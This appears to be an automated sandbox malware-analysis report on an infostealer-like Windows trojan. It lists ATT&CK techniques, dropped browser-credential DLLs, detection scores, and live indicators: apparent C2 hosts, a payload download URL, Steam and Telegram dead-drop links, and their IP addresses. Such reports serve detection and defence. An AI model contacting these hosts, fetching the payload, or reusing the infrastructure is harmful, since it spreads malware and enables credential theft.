Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	2 Virtualization/Sandbox Evasion	Cached Domain Credentials	2 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	511 Process Injection	DCSync	12 Process Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	Indicator Removal from Tools	Proc Filesystem	1 Application Window Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	HTML Smuggling	/etc/passwd and /etc/shadow	1 System Owner/User Discovery	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
file.exe	39%	ReversingLabs	Win32.Trojan.Generic
file.exe	31%	Virustotal		Browse
file.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner
C:\ProgramData\GCGHCBKFCF.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\a43486128347[1].exe	100%	Joe Sandbox ML
C:\ProgramData\freebl3.dll	0%	ReversingLabs
C:\ProgramData\mozglue.dll	0%	ReversingLabs
C:\ProgramData\msvcp140.dll	0%	ReversingLabs
C:\ProgramData\nss3.dll	0%	ReversingLabs
C:\ProgramData\softokn3.dll	0%	ReversingLabs
C:\ProgramData\vcruntime140.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\msvcp140[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\freebl3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\vcruntime140[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\mozglue[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\nss3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\softokn3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\sql[1].dll	0%	ReversingLabs

Unpacked PE Files

⊘No Antivirus matches

Domains

Source	Detection	Scanner	Link
steamcommunity.com	0%	Virustotal	Browse
playd.healthnlife.pk	8%	Virustotal	Browse
cowod.hopto.org	9%	Virustotal	Browse
beearvagueo.site	2%	Virustotal	Browse
default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com	0%	Virustotal	Browse
s-part-0017.t-0009.t-msedge.net	0%	Virustotal	Browse
proxy.johnmccrea.com	0%	Virustotal	Browse
mysterisop.site	1%	Virustotal	Browse
chorusarorp.site	1%	Virustotal	Browse
absorptioniw.site	1%	Virustotal	Browse
treatynreit.site	1%	Virustotal	Browse
snarlypagowo.site	1%	Virustotal	Browse
fp2e7a.wpc.phicdn.net	0%	Virustotal	Browse
questionsmw.store	17%	Virustotal	Browse
abnomalrkmu.site	1%	Virustotal	Browse
soldiefieop.site	16%	Virustotal	Browse

URLs

Source	Detection	Scanner	Label	Link
https://duckduckgo.com/chrome_newtab	0%	URL Reputation	safe
https://player.vimeo.com	0%	URL Reputation	safe
https://duckduckgo.com/ac/?q=	0%	URL Reputation	safe
https://store.steampowered.com/;Persistent-AuthWWW-AuthenticateVarysteamCountry=US%7Cd7fb65801182a5f	0%	URL Reputation	safe
https://bridge.lga1.admarketplace.net/ctp?version=16.0.0&key=1696332238301000001.2&ci=1696332238417.	0%	URL Reputation	safe
https://www.gstatic.cn/recaptcha/	0%	URL Reputation	safe
https://community.akamai.steamstatic.com/public/javascript/applications/community/libraries~b28b7af6	0%	URL Reputation	safe
https://steam.tv/	0%	URL Reputation	safe
https://steamcommunity.com/profiles/76561199724331900	100%	URL Reputation	malware
https://mozilla.org0/	0%	URL Reputation	safe
http://www.entrust.net/rpa03	0%	URL Reputation	safe
http://store.steampowered.com/privacy_agreement/	0%	URL Reputation	safe
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	0%	URL Reputation	safe
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016	0%	URL Reputation	safe
https://www.ecosia.org/newtab/	0%	URL Reputation	safe
http://proxy.johnmccrea.com/ontent-Disposition:	0%	Virustotal		Browse
https://lv.queniujq.cn	0%	URL Reputation	safe
https://steamcommunity.com/profiles/76561199724331900/inventory/	100%	URL Reputation	malware
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	0%	URL Reputation	safe
http://cowod.hopto.org	9%	Virustotal		Browse
https://avatars.akamai.steamstatic.com/fef49e7fa7e1997310d705b2a6158ff8dc1cdfeb_full.jpg	0%	URL Reputation	safe
https://checkout.steampowered.com/	0%	URL Reputation	safe
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016Examples	0%	URL Reputation	safe
http://crl.entrust.net/2048ca.crl0	0%	URL Reputation	safe
https://store.steampowered.com/;	0%	URL Reputation	safe
https://www.entrust.net/rpa0	0%	URL Reputation	safe
https://support.mozilla.org/products/firefoxgro.allizom.troppus.zvXrErQ5GYDF	0%	URL Reputation	safe
http://ocsp.entrust.net03	0%	URL Reputation	safe
http://ocsp.entrust.net02	0%	URL Reputation	safe
https://www.youtube.com	0%	Virustotal		Browse
https://community.akamai.steamstatic.com/	0%	URL Reputation	safe
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	0%	URL Reputation	safe
https://beearvagueo.site/;	9%	Virustotal		Browse
http://store.steampowered.com/subscriber_agreement/	0%	URL Reputation	safe
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17	0%	URL Reputation	safe
https://recaptcha.net/recaptcha/;	0%	URL Reputation	safe
abnomalrkmu.site	1%	Virustotal		Browse
https://medal.tv	0%	URL Reputation	safe
https://broadcast.st.dl.eccdnx.com	0%	URL Reputation	safe
https://community.akamai.steamstatic.com/public/images/skin_1/footerLogo_valve.png?v=1	0%	URL Reputation	safe
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17Install	0%	URL Reputation	safe
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	0%	URL Reputation	safe
http://crl.entrust.net/ts1ca.crl0	0%	URL Reputation	safe
https://www.google.com	0%	Virustotal		Browse
https://login.steampowered.com/	0%	URL Reputation	safe
https://store.steampowered.com/legal/	0%	URL Reputation	safe
http://www.sqlite.org/copyright.html.	0%	URL Reputation	safe
https://contile-images.services.mozilla.com/0TegrVVRalreHILhR2WvtD_CFzj13HCDcLqqpvXSOuY.10862.jpg	0%	URL Reputation	safe
http://playd.healthnlife.pk/ldms/a43486128347.exe	0%	Virustotal		Browse
http://cowod.hopto.org_DEBUG.zip/c	0%	Virustotal		Browse
absorptioniw.site	1%	Virustotal		Browse
http://proxy.johnmccrea.com/gfdsgrewgdsfadsahttps://steamcommunity.com/profiles/76561199780418869u55	0%	Virustotal		Browse
treatynreit.site	1%	Virustotal		Browse
https://t.me/ae5ed	2%	Virustotal		Browse
http://proxy.johnmccrea.com//sql.dll	0%	Virustotal		Browse
http://proxy.johnmccrea.com/	0%	Virustotal		Browse
http://www.mozilla.com/en-US/blocklist/	0%	Virustotal		Browse
https://sketchfab.com	0%	Virustotal		Browse
https://www.google.com/recaptcha/	0%	Virustotal		Browse
https://beearvagueo.site/	1%	Virustotal		Browse
https://www.youtube.com/	0%	Virustotal		Browse
https://t.me/ae5edu55uhttps://steamcommunity.com/profiles/76561199780418869sql.dllsqlp.dllMozilla/5.	0%	Virustotal		Browse
https://community.akamai.steamstatic.com/public/css/applications/community/main.css?v=Ev2sBLgkgyWJ&a	0%	Virustotal		Browse

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
steamcommunity.com	104.102.49.254	true	true	0%, Virustotal, Browse	unknown
playd.healthnlife.pk	147.45.44.104	true	false	8%, Virustotal, Browse	unknown
cowod.hopto.org	45.132.206.251	true	true	9%, Virustotal, Browse	unknown
beearvagueo.site	104.21.93.202	true	true	2%, Virustotal, Browse	unknown
s-part-0017.t-0009.t-msedge.net	13.107.246.45	true	false	0%, Virustotal, Browse	unknown
default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com	217.20.57.18	true	false	0%, Virustotal, Browse	unknown
fp2e7a.wpc.phicdn.net	192.229.221.95	true	false	0%, Virustotal, Browse	unknown
proxy.johnmccrea.com	141.98.233.156	true	true	0%, Virustotal, Browse	unknown
treatynreit.site	unknown	unknown	true	1%, Virustotal, Browse	unknown
mysterisop.site	unknown	unknown	true	1%, Virustotal, Browse	unknown
chorusarorp.site	unknown	unknown	true	1%, Virustotal, Browse	unknown
snarlypagowo.site	unknown	unknown	true	1%, Virustotal, Browse	unknown
questionsmw.store	unknown	unknown	false	17%, Virustotal, Browse	unknown
absorptioniw.site	unknown	unknown	true	1%, Virustotal, Browse	unknown
abnomalrkmu.site	unknown	unknown	true	1%, Virustotal, Browse	unknown
soldiefieop.site	unknown	unknown	true	16%, Virustotal, Browse	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://proxy.johnmccrea.com//nss3.dll	true		unknown
abnomalrkmu.site	true	1%, Virustotal, Browse	unknown
http://playd.healthnlife.pk/ldms/a43486128347.exe	true	0%, Virustotal, Browse	unknown
absorptioniw.site	true	1%, Virustotal, Browse	unknown
treatynreit.site	true	1%, Virustotal, Browse	unknown
https://steamcommunity.com/profiles/76561199724331900	true	URL Reputation: malware	unknown
questionsmw.stor	true		unknown
http://proxy.johnmccrea.com//sql.dll	true	0%, Virustotal, Browse	unknown
http://proxy.johnmccrea.com/	true	0%, Virustotal, Browse	unknown
http://proxy.johnmccrea.com//vcruntime140.dll	true		unknown
http://proxy.johnmccrea.com//softokn3.dll	true		unknown
http://proxy.johnmccrea.com//mozglue.dll	true		unknown
https://steamcommunity.com/profiles/76561199780418869	true		unknown
chorusarorp.site	true		unknown
snarlypagowo.site	true		unknown
http://proxy.johnmccrea.com//msvcp140.dll	true		unknown
soldiefieop.site	true		unknown
http://cowod.hopto.org/	true		unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://duckduckgo.com/chrome_newtab	KJKJKF.1.dr	false	URL Reputation: safe	unknown
https://player.vimeo.com	MSBuild.exe, 00000009.00000002.2171821999.0000000000B9A000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://proxy.johnmccrea.com/ontent-Disposition:	MSBuild.exe, 00000001.00000002.2478563220.00000000004D2000.00000040.00000400.00020000.00000000.sdmp	false	0%, Virustotal, Browse	unknown
https://duckduckgo.com/ac/?q=	KJKJKF.1.dr	false	URL Reputation: safe	unknown
https://store.steampowered.com/;Persistent-AuthWWW-AuthenticateVarysteamCountry=US%7Cd7fb65801182a5f	MSBuild.exe, 00000009.00000002.2171821999.0000000000B9A000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://cowod.hopto.org	MSBuild.exe, 00000001.00000002.2478563220.000000000046B000.00000040.00000400.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2478563220.000000000056B000.00000040.00000400.00020000.00000000.sdmp	false	9%, Virustotal, Browse	unknown
https://bridge.lga1.admarketplace.net/ctp?version=16.0.0&key=1696332238301000001.2&ci=1696332238417.	MSBuild.exe, 00000001.00000002.2481607551.00000000015DB000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2481607551.00000000016AB000.00000004.00000020.00020000.00000000.sdmp, GCGHCB.1.dr	false	URL Reputation: safe	unknown
http://proxy.johnmccrea.com//softokn3.dllNMf	MSBuild.exe, 00000001.00000002.2481607551.000000000157A000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://www.gstatic.cn/recaptcha/	MSBuild.exe, 00000009.00000002.2171821999.0000000000B9A000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://proxy.johnmccrea.com//nss3.dllp	MSBuild.exe, 00000001.00000002.2481607551.0000000001565000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://community.akamai.steamstatic.com/public/javascript/applications/community/libraries~b28b7af6	MSBuild.exe, 00000009.00000002.2171821999.0000000000B5D000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://beearvagueo.site/;	MSBuild.exe, 00000009.00000002.2171821999.0000000000B9A000.00000004.00000020.00020000.00000000.sdmp	false	9%, Virustotal, Browse	unknown
https://www.youtube.com	MSBuild.exe, 00000009.00000002.2171821999.0000000000B9A000.00000004.00000020.00020000.00000000.sdmp	false	0%, Virustotal, Browse	unknown
https://www.google.com	MSBuild.exe, 00000009.00000002.2171821999.0000000000B9A000.00000004.00000020.00020000.00000000.sdmp	false	0%, Virustotal, Browse	unknown
http://cowod.hopto.org_DEBUG.zip/c	file.exe, 00000000.00000002.1802985654.00000000005D8000.00000004.00000001.01000000.00000003.sdmp, MSBuild.exe, 00000001.00000002.2478563220.0000000000400000.00000040.00000400.00020000.00000000.sdmp	false	0%, Virustotal, Browse	unknown
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17rer.exe	MSBuild.exe, 00000001.00000002.2478563220.000000000056B000.00000040.00000400.00020000.00000000.sdmp	false		unknown
https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4QqmfZfYfQfafZbXfpbWfpbX7ReNxR3UIG8zInwYIFIVs9eYi	GCGHCB.1.dr	false		unknown
http://cowod.hopto.	MSBuild.exe, 00000001.00000002.2478563220.00000000004D2000.00000040.00000400.00020000.00000000.sdmp	false		unknown
http://proxy.johnmccrea.com/gfdsgrewgdsfadsahttps://steamcommunity.com/profiles/76561199780418869u55	file.exe, 00000000.00000002.1802985654.00000000005D8000.00000004.00000001.01000000.00000003.sdmp, MSBuild.exe, 00000001.00000002.2478563220.0000000000400000.00000040.00000400.00020000.00000000.sdmp	false	0%, Virustotal, Browse	unknown
http://cowod.hopto	MSBuild.exe, 00000001.00000002.2478563220.00000000004D2000.00000040.00000400.00020000.00000000.sdmp	false		unknown
http://cowod.hopto.org/M	MSBuild.exe, 00000001.00000002.2481607551.00000000016AB000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://s.ytimg.com;	MSBuild.exe, 00000009.00000002.2171821999.0000000000B9A000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://steam.tv/	MSBuild.exe, 00000009.00000002.2171821999.0000000000B9A000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_7548d4575af019e4c148ccf1a78112802e66a0816a72fc94	MSBuild.exe, 00000001.00000002.2481607551.00000000015DB000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2481607551.00000000016AB000.00000004.00000020.00020000.00000000.sdmp, GCGHCB.1.dr	false		unknown
https://t.me/ae5ed	file.exe, file.exe, 00000000.00000002.1802985654.00000000005D8000.00000004.00000001.01000000.00000003.sdmp, MSBuild.exe, MSBuild.exe, 00000001.00000002.2478563220.0000000000400000.00000040.00000400.00020000.00000000.sdmp	false	2%, Virustotal, Browse	unknown
http://www.mozilla.com/en-US/blocklist/	MSBuild.exe, MSBuild.exe, 00000001.00000002.2509880693.000000006CB1D000.00000002.00000001.01000000.00000009.sdmp, MSBuild.exe, 00000001.00000002.2492771809.000000002406D000.00000004.00000020.00020000.00000000.sdmp, mozglue.dll.1.dr, mozglue[1].dll.1.dr	false	0%, Virustotal, Browse	unknown
https://mozilla.org0/	MSBuild.exe, 00000001.00000002.2503544477.000000003BE2A000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2498209531.000000002FF49000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2492771809.000000002406D000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2490322260.000000001E0FA000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr, mozglue[1].dll.1.dr, nss3[1].dll.1.dr, freebl3[1].dll.1.dr, softokn3[1].dll.1.dr, softokn3.dll.1.dr	false	URL Reputation: safe	unknown
http://www.entrust.net/rpa03	file.exe, GCGHCBKFCF.exe.1.dr, a43486128347[1].exe.1.dr	false	URL Reputation: safe	unknown
https://beearvagueo.site/i	MSBuild.exe, 00000009.00000002.2171821999.0000000000B9A000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://store.steampowered.com/privacy_agreement/	MSBuild.exe, 00000009.00000002.2173304288.0000000000BF8000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000009.00000002.2171821999.0000000000B5D000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://cowod.hopto.BFIJDG	MSBuild.exe, 00000001.00000002.2478563220.00000000004D2000.00000040.00000400.00020000.00000000.sdmp	false		unknown
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	KJKJKF.1.dr	false	URL Reputation: safe	unknown
https://bridge.lga1.ap01.net/ctp?version=16.0.0&key=1696332238301000001.1&ci=1696332238417.12791&cta	MSBuild.exe, 00000001.00000002.2481607551.00000000015DB000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2481607551.00000000016AB000.00000004.00000020.00020000.00000000.sdmp, GCGHCB.1.dr	false		unknown
http://proxy.johnmccrea.com//msvcp140.dll6L	MSBuild.exe, 00000001.00000002.2481607551.000000000157A000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016	MSBuild.exe, 00000001.00000002.2485877933.0000000017A9A000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2478563220.000000000056B000.00000040.00000400.00020000.00000000.sdmp, CAAKKF.1.dr	false	URL Reputation: safe	unknown
https://sketchfab.com	MSBuild.exe, 00000009.00000002.2171821999.0000000000B9A000.00000004.00000020.00020000.00000000.sdmp	false	0%, Virustotal, Browse	unknown
https://www.ecosia.org/newtab/	KJKJKF.1.dr	false	URL Reputation: safe	unknown
https://lv.queniujq.cn	MSBuild.exe, 00000009.00000002.2171821999.0000000000B9A000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://steamcommunity.com/profiles/76561199724331900/inventory/	MSBuild.exe, 00000009.00000002.2173304288.0000000000BF8000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000009.00000002.2171821999.0000000000B5D000.00000004.00000020.00020000.00000000.sdmp	true	URL Reputation: malware	unknown
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	IJKJDA.1.dr	false	URL Reputation: safe	unknown
https://www.youtube.com/	MSBuild.exe, 00000009.00000002.2171821999.0000000000B9A000.00000004.00000020.00020000.00000000.sdmp	false	0%, Virustotal, Browse	unknown
https://community.akamai.steamstatic.com/public/css/applications/community/main.css?v=Ev2sBLgkgyWJ&a	MSBuild.exe, 00000009.00000002.2171821999.0000000000B5D000.00000004.00000020.00020000.00000000.sdmp	false	0%, Virustotal, Browse	unknown
https://avatars.akamai.steamstatic.com/fef49e7fa7e1997310d705b2a6158ff8dc1cdfeb_full.jpg	MSBuild.exe, 00000009.00000002.2171821999.0000000000B5D000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.google.com/recaptcha/	MSBuild.exe, 00000009.00000002.2171821999.0000000000B9A000.00000004.00000020.00020000.00000000.sdmp	false	0%, Virustotal, Browse	unknown
http://playd.healthnlife.pk/ldms/a43486128347.exeorm-data;	MSBuild.exe, 00000001.00000002.2478563220.000000000048F000.00000040.00000400.00020000.00000000.sdmp	true		unknown
https://checkout.steampowered.com/	MSBuild.exe, 00000009.00000002.2171821999.0000000000B9A000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://beearvagueo.site/	MSBuild.exe, 00000009.00000002.2171821999.0000000000B9A000.00000004.00000020.00020000.00000000.sdmp	false	1%, Virustotal, Browse	unknown
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016Examples	CAAKKF.1.dr	false	URL Reputation: safe	unknown
https://t.me/ae5edu55uhttps://steamcommunity.com/profiles/76561199780418869sql.dllsqlp.dllMozilla/5.	file.exe, 00000000.00000002.1802985654.00000000005D8000.00000004.00000001.01000000.00000003.sdmp, MSBuild.exe, 00000001.00000002.2478563220.0000000000400000.00000040.00000400.00020000.00000000.sdmp	false	0%, Virustotal, Browse	unknown
http://crl.entrust.net/2048ca.crl0	file.exe, GCGHCBKFCF.exe.1.dr, a43486128347[1].exe.1.dr	false	URL Reputation: safe	unknown
https://store.steampowered.com/;	MSBuild.exe, 00000009.00000002.2171821999.0000000000B9A000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.entrust.net/rpa0	file.exe, GCGHCBKFCF.exe.1.dr, a43486128347[1].exe.1.dr	false	URL Reputation: safe	unknown
https://support.mozilla.org/products/firefoxgro.allizom.troppus.zvXrErQ5GYDF	IJKJDA.1.dr	false	URL Reputation: safe	unknown
https://steamcommunity.com/nN	MSBuild.exe, 00000009.00000002.2171821999.0000000000B82000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://ocsp.entrust.net03	file.exe, GCGHCBKFCF.exe.1.dr, a43486128347[1].exe.1.dr	false	URL Reputation: safe	unknown
http://ocsp.entrust.net02	file.exe, GCGHCBKFCF.exe.1.dr, a43486128347[1].exe.1.dr	false	URL Reputation: safe	unknown
http://playd.healthnlife.pk/ldms/a43486128347.exe1kkkktoken	MSBuild.exe, 00000001.00000002.2478563220.000000000048F000.00000040.00000400.00020000.00000000.sdmp	true		unknown
http://cowod.GDAAKEBFIJDG	MSBuild.exe, 00000001.00000002.2478563220.00000000004D2000.00000040.00000400.00020000.00000000.sdmp	false		unknown
https://community.akamai.steamstatic.com/	MSBuild.exe, 00000009.00000002.2171821999.0000000000B9A000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://proxy.johnmccrea.com//vcruntime140.dll0	MSBuild.exe, 00000001.00000002.2481607551.00000000015DB000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	KJKJKF.1.dr	false	URL Reputation: safe	unknown
http://store.steampowered.com/subscriber_agreement/	MSBuild.exe, 00000009.00000002.2173304288.0000000000BF8000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000009.00000002.2171821999.0000000000B5D000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://steamcommunity.com/linkfilter/?u=http%3A%2F%2Fwww.geonames.org	MSBuild.exe, 00000009.00000002.2173304288.0000000000BF8000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000009.00000002.2171821999.0000000000B5D000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17	MSBuild.exe, 00000001.00000002.2485877933.0000000017A9A000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2478563220.000000000056B000.00000040.00000400.00020000.00000000.sdmp, CAAKKF.1.dr	false	URL Reputation: safe	unknown
https://recaptcha.net/recaptcha/;	MSBuild.exe, 00000009.00000002.2171821999.0000000000B9A000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://cowod.hoptoEBFIJDG	MSBuild.exe, 00000001.00000002.2478563220.00000000004D2000.00000040.00000400.00020000.00000000.sdmp	false		unknown
https://medal.tv	MSBuild.exe, 00000009.00000002.2171821999.0000000000B9A000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://broadcast.st.dl.eccdnx.com	MSBuild.exe, 00000009.00000002.2171821999.0000000000B9A000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://community.akamai.steamstatic.com/public/images/skin_1/footerLogo_valve.png?v=1	MSBuild.exe, 00000009.00000002.2173304288.0000000000BF8000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000009.00000002.2171821999.0000000000B5D000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://proxy.johnmccrea.com//freebl3.dllnLF	MSBuild.exe, 00000001.00000002.2481607551.000000000157A000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17Install	CAAKKF.1.dr	false	URL Reputation: safe	unknown
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	KJKJKF.1.dr	false	URL Reputation: safe	unknown
https://beearvagueo.site:443/apil	MSBuild.exe, 00000009.00000002.2171821999.0000000000B8D000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://beearvagueo.site/api;	MSBuild.exe, 00000009.00000002.2171821999.0000000000B9A000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://community.akamai.steamstatic.com/public/javascript/applications/community/manifest.js?v=AeTz	MSBuild.exe, 00000009.00000002.2171821999.0000000000B5D000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://crl.entrust.net/ts1ca.crl0	file.exe, GCGHCBKFCF.exe.1.dr, a43486128347[1].exe.1.dr	false	URL Reputation: safe	unknown
https://login.steampowered.com/	MSBuild.exe, 00000009.00000002.2171821999.0000000000B9A000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://store.steampowered.com/legal/	MSBuild.exe, 00000009.00000002.2173304288.0000000000BF8000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000009.00000002.2171821999.0000000000B5D000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.sqlite.org/copyright.html.	MSBuild.exe, 00000001.00000002.2486359775.0000000017E2A000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2490090182.000000001DDCD000.00000002.00001000.00020000.00000000.sdmp, sql[1].dll.1.dr	false	URL Reputation: safe	unknown
https://contile-images.services.mozilla.com/0TegrVVRalreHILhR2WvtD_CFzj13HCDcLqqpvXSOuY.10862.jpg	MSBuild.exe, 00000001.00000002.2481607551.00000000015DB000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2481607551.00000000016AB000.00000004.00000020.00020000.00000000.sdmp, GCGHCB.1.dr	false	URL Reputation: safe	unknown
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	KJKJKF.1.dr	false		unknown
http://cowod.hopto.orgJDG	MSBuild.exe, 00000001.00000002.2478563220.000000000046B000.00000040.00000400.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2478563220.000000000056B000.00000040.00000400.00020000.00000000.sdmp	false		unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
141.98.233.156	proxy.johnmccrea.com	Russian Federation	41011	CH-NET-ASRO	true
104.102.49.254	steamcommunity.com	United States	16625	AKAMAI-ASUS	true
147.45.44.104	playd.healthnlife.pk	Russian Federation	2895	FREE-NET-ASFREEnetEU	false
45.132.206.251	cowod.hopto.org	Russian Federation	59731	LIFELINK-ASRU	true
104.21.93.202	beearvagueo.site	United States	13335	CLOUDFLARENETUS	true

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1525478
Start date and time:	2024-10-04 09:51:05 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 8m 5s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	16
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	file.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@14/37@13/5
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 94% Number of executed functions: 94 Number of non-executed functions: 261
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, WerFault.exe, WMIADAP.exe, SIHClient.exe, conhost.exe, svchost.exe
